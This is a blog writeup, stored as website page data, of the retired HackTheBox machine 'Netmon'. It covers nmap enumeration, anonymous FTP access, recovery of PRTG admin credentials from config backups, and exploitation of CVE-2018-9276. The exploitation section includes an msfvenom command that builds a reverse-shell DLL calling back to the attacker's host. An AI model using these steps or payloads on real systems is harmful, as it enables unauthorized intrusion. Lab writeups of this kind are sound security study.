{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-windows-netmon-en","result":{"data":{"markdownRemark":{"id":"eb71b3d3-b709-514f-a057-bc4ec300c51c","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/hackthebox-windows-netmon\">original page</a>.</p>\n</blockquote>\n<p>I am studying security using “Hack The Box,” a penetration testing learning platform.\nMy Hack The Box rank at the time of writing is ProHacker.</p>\n<img src=\"http://www.hackthebox.eu/badge/image/327080\" alt=\"Hack The Box\">\n<p>This is a writeup for the retired HackTheBox machine “Netmon.”</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2e4cfbca6a96591963191fb4d7a29636/0b533/image-10.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 77.08333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAARlAAAEZQAGA43XUAAAC20lEQVQ4y31TyWoUURQNKIpB7bmru6q7xjfUq+qu6u4krXFKSByioihIIs44oAZdqDsXmo0giO7EAVwIWQUXIujSnfkJNwru3Ig/cLz90lExjYtT902cOveee4eKJsP/UK5RrDJUHA4r4LC9ADVXwHRCVOoUbYGaw2D7DKbHMZStSAxEVSJXEdi4VaDghTBVBDcQiEIOESYQahRctPpQaMQKYdLEUK4qsBZSx80lieNX21h4vAv3nmzDzFwCzxFweQrRHIdsdBFEXThBjFAKMM4GEUrkLYlNGYGpkwm+f4rx+d0zfFs6h+UPHkYmE7gOqWmMIVQdUttCEEgoycGYJpT4FwVTYENOYuFRip9vUnx9+xBflh7gx/IUTlxuwK2FUHGPrAPJI4pN8KhDCuVgwrxJCrOC0u3gxdN5vLp/Ex9fL+Ll4g3sOKRg1qiG0QiEbMHzG/BVF7y5k2ocDSbsIWtIFAOFuw+O4vXzebxfuoO5+QmU7CYsnpDjBLdBziZENq5JjbpaS5itrNQxYzCsG7awPmvBHgvgbhPYUmIo1RRYlJIxCQyH1PEWZNxFnbVRssLBpmwpM7hyFKcuXMee6WOY2n8CkzOHMXnwCPbuOwrJUnBy2vKbEBQlSxCINkxfre1DTUhKHDGKS9duE27h9PmbmD19BRdvXMfsmbPUxJQqpWv5LTA1Bl+kcFRMpegrLNT+gtWLRGxyDBdsDOc9GKKOvG1jc9FHiSalHinUlYITx3AaMerU1BUWkpmCCOlTpBEq9FHso1DjZIDQ5rQOOGBdH5my1HclW8LwJco0aiWX0xmn3hXIkzidcsYgAjMidZFe984qboqq19YxUw41ccVr6bNcNdTvDIfeuL03LX2Wq+pZXjEi7U4TpnQPZgwO1d6D7u5DiDoT9PcegdRpeqmiGQ91N5hUw/b2fXDDrt73FYrf7bK6XtlzTdyLq3cr6z/73r1+Y/DfhL8Az6m9+JALI28AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2e4cfbca6a96591963191fb4d7a29636/8ac56/image-10.webp 240w,\n/static/2e4cfbca6a96591963191fb4d7a29636/d3be9/image-10.webp 480w,\n/static/2e4cfbca6a96591963191fb4d7a29636/b0a15/image-10.webp 500w\"\n              sizes=\"(max-width: 500px) 100vw, 500px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2e4cfbca6a96591963191fb4d7a29636/8ff5a/image-10.png 240w,\n/static/2e4cfbca6a96591963191fb4d7a29636/e85cb/image-10.png 480w,\n/static/2e4cfbca6a96591963191fb4d7a29636/0b533/image-10.png 500w\"\n            sizes=\"(max-width: 500px) 100vw, 500px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2e4cfbca6a96591963191fb4d7a29636/0b533/image-10.png\"\n            alt=\"image-10.png\"\n            title=\"image-10.png\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<!-- omit in toc -->\n<h2 id=\"about-this-article\" style=\"position:relative;\"><a href=\"#about-this-article\" aria-label=\"about this article permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>About This Article</h2>\n<p><strong>The content of this article is not intended to promote acts that violate social order.</strong></p>\n<p>Please be aware in advance that attempting to attack environments other than your own or environments for which you have permission may violate the “Act on Prohibition of Unauthorized Computer Access” (Unauthorized Access Prohibition Act).</p>\n<p>All opinions expressed are my own and do not represent those of any organization I belong to.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#enumeration\">Enumeration</a></li>\n<li><a href=\"#ftp-login\">FTP Login</a></li>\n<li><a href=\"#obtaining-a-reverse-shell\">Obtaining a Reverse Shell</a></li>\n<li><a href=\"#obtaining-credentials\">Obtaining Credentials</a></li>\n<li><a href=\"#exploitation\">Exploitation</a></li>\n<li><a href=\"#summary\">Summary</a></li>\n</ul>\n<h2 id=\"enumeration\" style=\"position:relative;\"><a href=\"#enumeration\" aria-label=\"enumeration permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Enumeration</h2>\n<p>As usual, I start by running a scan.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token function\">sudo</span> <span class=\"token function\">sed</span> -i <span class=\"token string\">'s/^[0-9].*$RHOST/10.10.10.152  $RHOST/g'</span> /etc/hosts\nnmap -sV -sC -T4 <span class=\"token variable\">$RHOST</span><span class=\"token operator\">|</span> <span class=\"token function\">tee</span> nmap1.txt</code></pre></div>\n<p>The output looked like this:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">Starting Nmap <span class=\"token number\">7.92</span> <span class=\"token punctuation\">(</span> https://nmap.org <span class=\"token punctuation\">)</span> at <span class=\"token number\">2021</span>-11-23 <span class=\"token number\">19</span>:35 JST\nStats: <span class=\"token number\">0</span>:01:55 elapsed<span class=\"token punctuation\">;</span> <span class=\"token number\">0</span> hosts completed <span class=\"token punctuation\">(</span><span class=\"token number\">1</span> up<span class=\"token punctuation\">)</span>, <span class=\"token number\">1</span> undergoing Connect Scan\nConnect Scan Timing: About <span class=\"token number\">66.94</span>% <span class=\"token keyword\">done</span><span class=\"token punctuation\">;</span> ETC: <span class=\"token number\">19</span>:38 <span class=\"token punctuation\">(</span><span class=\"token number\">0</span>:00:57 remaining<span class=\"token punctuation\">)</span>\nWarning: <span class=\"token number\">10.10</span>.10.152 giving up on port because retransmission cap hit <span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">)</span>.\nNmap scan report <span class=\"token keyword\">for</span> <span class=\"token variable\">$RHOST</span> <span class=\"token punctuation\">(</span><span class=\"token number\">10.10</span>.10.152<span class=\"token punctuation\">)</span>\nHost is up <span class=\"token punctuation\">(</span><span class=\"token number\">0</span>.68s latency<span class=\"token punctuation\">)</span>.\nNot shown: <span class=\"token number\">994</span> closed tcp ports <span class=\"token punctuation\">(</span>conn-refused<span class=\"token punctuation\">)</span>\nPORT    STATE    SERVICE      VERSION\n<span class=\"token number\">21</span>/tcp  <span class=\"token function\">open</span>     <span class=\"token function\">ftp</span>          Microsoft ftpd\n<span class=\"token operator\">|</span> ftp-syst: \n<span class=\"token operator\">|</span>_  SYST: Windows_NT\n<span class=\"token operator\">|</span> ftp-anon: Anonymous FTP login allowed <span class=\"token punctuation\">(</span>FTP code <span class=\"token number\">230</span><span class=\"token punctuation\">)</span>\n<span class=\"token operator\">|</span> 02-02-19  <span class=\"token number\">11</span>:18PM                 <span class=\"token number\">1024</span> .rnd\n<span class=\"token operator\">|</span> 02-25-19  09:15PM       <span class=\"token operator\">&lt;</span>DIR<span class=\"token operator\">></span>          inetpub\n<span class=\"token operator\">|</span> 07-16-16  08:18AM       <span class=\"token operator\">&lt;</span>DIR<span class=\"token operator\">></span>          PerfLogs\n<span class=\"token operator\">|</span> 02-25-19  09:56PM       <span class=\"token operator\">&lt;</span>DIR<span class=\"token operator\">></span>          Program Files\n<span class=\"token operator\">|</span> 02-02-19  <span class=\"token number\">11</span>:28PM       <span class=\"token operator\">&lt;</span>DIR<span class=\"token operator\">></span>          Program Files <span class=\"token punctuation\">(</span>x86<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">|</span> 02-03-19  07:08AM       <span class=\"token operator\">&lt;</span>DIR<span class=\"token operator\">></span>          Users\n<span class=\"token operator\">|</span>_02-25-19  <span class=\"token number\">10</span>:49PM       <span class=\"token operator\">&lt;</span>DIR<span class=\"token operator\">></span>          Windows\n<span class=\"token number\">80</span>/tcp  <span class=\"token function\">open</span>     http         Indy httpd <span class=\"token number\">18.1</span>.37.13946 <span class=\"token punctuation\">(</span>Paessler PRTG bandwidth monitor<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">|</span> http-title: Welcome <span class=\"token operator\">|</span> PRTG Network Monitor <span class=\"token punctuation\">(</span>NETMON<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">|</span>_Requested resource was /index.htm\n<span class=\"token operator\">|</span>_http-trane-info: Problem with XML parsing of /evox/about\n<span class=\"token operator\">|</span>_http-server-header: PRTG/18.1.37.13946\n<span class=\"token number\">135</span>/tcp <span class=\"token function\">open</span>     msrpc        Microsoft Windows RPC\n<span class=\"token number\">139</span>/tcp <span class=\"token function\">open</span>     netbios-ssn  Microsoft Windows netbios-ssn\n<span class=\"token number\">445</span>/tcp <span class=\"token function\">open</span>     microsoft-ds Microsoft Windows Server <span class=\"token number\">2008</span> R2 - <span class=\"token number\">2012</span> microsoft-ds\n<span class=\"token number\">514</span>/tcp filtered shell\nService Info: OSs: Windows, Windows Server <span class=\"token number\">2008</span> R2 - <span class=\"token number\">2012</span><span class=\"token punctuation\">;</span> CPE: cpe:/o:microsoft:windows\n\nHost script results:\n<span class=\"token operator\">|</span> smb2-security-mode: \n<span class=\"token operator\">|</span>   <span class=\"token number\">3.1</span>.1: \n<span class=\"token operator\">|</span>_    Message signing enabled but not required\n<span class=\"token operator\">|</span> smb-security-mode: \n<span class=\"token operator\">|</span>   account_used: <span class=\"token operator\">&lt;</span>blank<span class=\"token operator\">></span>\n<span class=\"token operator\">|</span>   authentication_level: user\n<span class=\"token operator\">|</span>   challenge_response: supported\n<span class=\"token operator\">|</span>_  message_signing: disabled <span class=\"token punctuation\">(</span>dangerous, but default<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">|</span> smb2-time: \n<span class=\"token operator\">|</span>   date: <span class=\"token number\">2021</span>-11-23T10:44:51\n<span class=\"token operator\">|</span>_  start_date: <span class=\"token number\">2021</span>-11-23T04:32:58\n<span class=\"token operator\">|</span>_clock-skew: mean: 6m19s, deviation: 0s, median: 6m18s\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class=\"token builtin class-name\">.</span>\nNmap done: <span class=\"token number\">1</span> IP address <span class=\"token punctuation\">(</span><span class=\"token number\">1</span> <span class=\"token function\">host</span> up<span class=\"token punctuation\">)</span> scanned <span class=\"token keyword\">in</span> <span class=\"token number\">200.12</span> seconds</code></pre></div>\n<p>We can see that Anonymous FTP login is enabled.</p>\n<h2 id=\"ftp-login\" style=\"position:relative;\"><a href=\"#ftp-login\" aria-label=\"ftp login permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>FTP Login</h2>\n<p>After performing an Anonymous login, I was immediately able to obtain the user flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token function\">ftp</span> <span class=\"token variable\">$RHOST</span>\n<span class=\"token comment\"># anonymous / no password</span>\n\n<span class=\"token function\">dir</span> Users/Public\nlcd ./\n<span class=\"token builtin class-name\">cd</span> Users/Public\n<span class=\"token function\">dir</span>\nget user.txt</code></pre></div>\n<p>Next, I aim to obtain a reverse shell in order to get the root flag.</p>\n<h2 id=\"obtaining-a-reverse-shell\" style=\"position:relative;\"><a href=\"#obtaining-a-reverse-shell\" aria-label=\"obtaining a reverse shell permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Obtaining a Reverse Shell</h2>\n<p>From the nmap results, we can see that <code class=\"language-text\">Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)</code> is running.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token number\">80</span>/tcp  <span class=\"token function\">open</span>     http         Indy httpd <span class=\"token number\">18.1</span>.37.13946 <span class=\"token punctuation\">(</span>Paessler PRTG bandwidth monitor<span class=\"token punctuation\">)</span></code></pre></div>\n<p>Searching for vulnerabilities in this version, I found <code class=\"language-text\">CVE-2018-9276</code>.</p>\n<p>Reference: <a href=\"https://nvd.nist.gov/vuln/detail/CVE-2018-9276\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">NVD - CVE-2018-9276</a></p>\n<p><code class=\"language-text\">CVE-2018-9276</code> appears to be an OS command injection vulnerability where executing RCE can yield a shell with administrator privileges.</p>\n<p>If this works, we should be able to get root as well.</p>\n<h2 id=\"obtaining-credentials\" style=\"position:relative;\"><a href=\"#obtaining-credentials\" aria-label=\"obtaining credentials permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Obtaining Credentials</h2>\n<p>To use <code class=\"language-text\">CVE-2018-9276</code>, we need credentials for <code class=\"language-text\">Paessler PRTG bandwidth monitor</code>.</p>\n<p>So I began searching for credentials.</p>\n<p>The default credential appears to be <code class=\"language-text\">prtgadmin</code>, but that didn’t work.</p>\n<p>Reference: <a href=\"https://kb.paessler.com/en/topic/433-what-s-the-login-name-and-password-for-the-prtg-web-interface-how-do-i-change-it\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">What’s the login name and password for the PRTG web interface? How do I change it? | Paessler Knowledge Base</a></p>\n<p>So I explored the FTP server while logged in anonymously, looking for files containing credentials.</p>\n<p>In most cases when searching for credentials, I target one of the following first:</p>\n<ul>\n<li>Config files containing configuration information</li>\n<li>Database dumps storing credentials</li>\n<li>Access logs with plaintext credentials</li>\n<li>Backup files or shadow copies recording past credentials</li>\n</ul>\n<p>This time, I explored <code class=\"language-text\">Paessler/PRTG Network Monitor</code> under <code class=\"language-text\">C:\\ProgramData\\</code>.</p>\n<p>Note that hidden folders like <code class=\"language-text\">C:\\ProgramData\\</code> are not listed by the FTP <code class=\"language-text\">dir</code> command.</p>\n<p>After obtaining a configuration backup file in this directory, I found the credentials <code class=\"language-text\">prtgadmin / PrTg@dmin2018</code>.</p>\n<p>Unfortunately, these credentials are no longer valid.</p>\n<p>Looking at the creation dates of the config files, the backup file containing <code class=\"language-text\">PrTg@dmin2018</code> was created in 2018, while the current configuration file was created in 2019.</p>\n<p>So I tried <code class=\"language-text\">prtgadmin / PrTg@dmin2019</code>, and authentication succeeded.</p>\n<h2 id=\"exploitation\" style=\"position:relative;\"><a href=\"#exploitation\" aria-label=\"exploitation permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Exploitation</h2>\n<p>Now that I have credentials, I want to use this exploit code to obtain root.</p>\n<p>Reference: <a href=\"https://github.com/A1vinSmith/CVE-2018-9276/blob/main/exploit.py\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">CVE-2018-9276/exploit.py at main · A1vinSmith/CVE-2018-9276</a></p>\n<p>I created my own msfvenom exploit module to make it work in my local environment, and partially modified the exploit code.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">msfvenom -p windows/shell_reverse_tcp <span class=\"token assign-left variable\">LHOST</span><span class=\"token operator\">=</span><span class=\"token number\">10.10</span>.16.7 <span class=\"token assign-left variable\">LPORT</span><span class=\"token operator\">=</span><span class=\"token number\">4444</span> -f dll <span class=\"token operator\">></span> venom</code></pre></div>\n<p>Running this, I was successfully able to obtain root.</p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>This was a very simple machine.</p>","fields":{"slug":"/hackthebox-windows-netmon-en","tagSlugs":["/tag/hack-the-box-en/","/tag/windows-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2021-11-24","description":"A writeup of the retired HackTheBox machine 'Netmon'.","tags":["HackTheBox (en)","Windows (en)","EasyBox (en)","English"],"title":"HackTheBox Writeup: Netmon (Easy/Windows)","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-windows-netmon-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}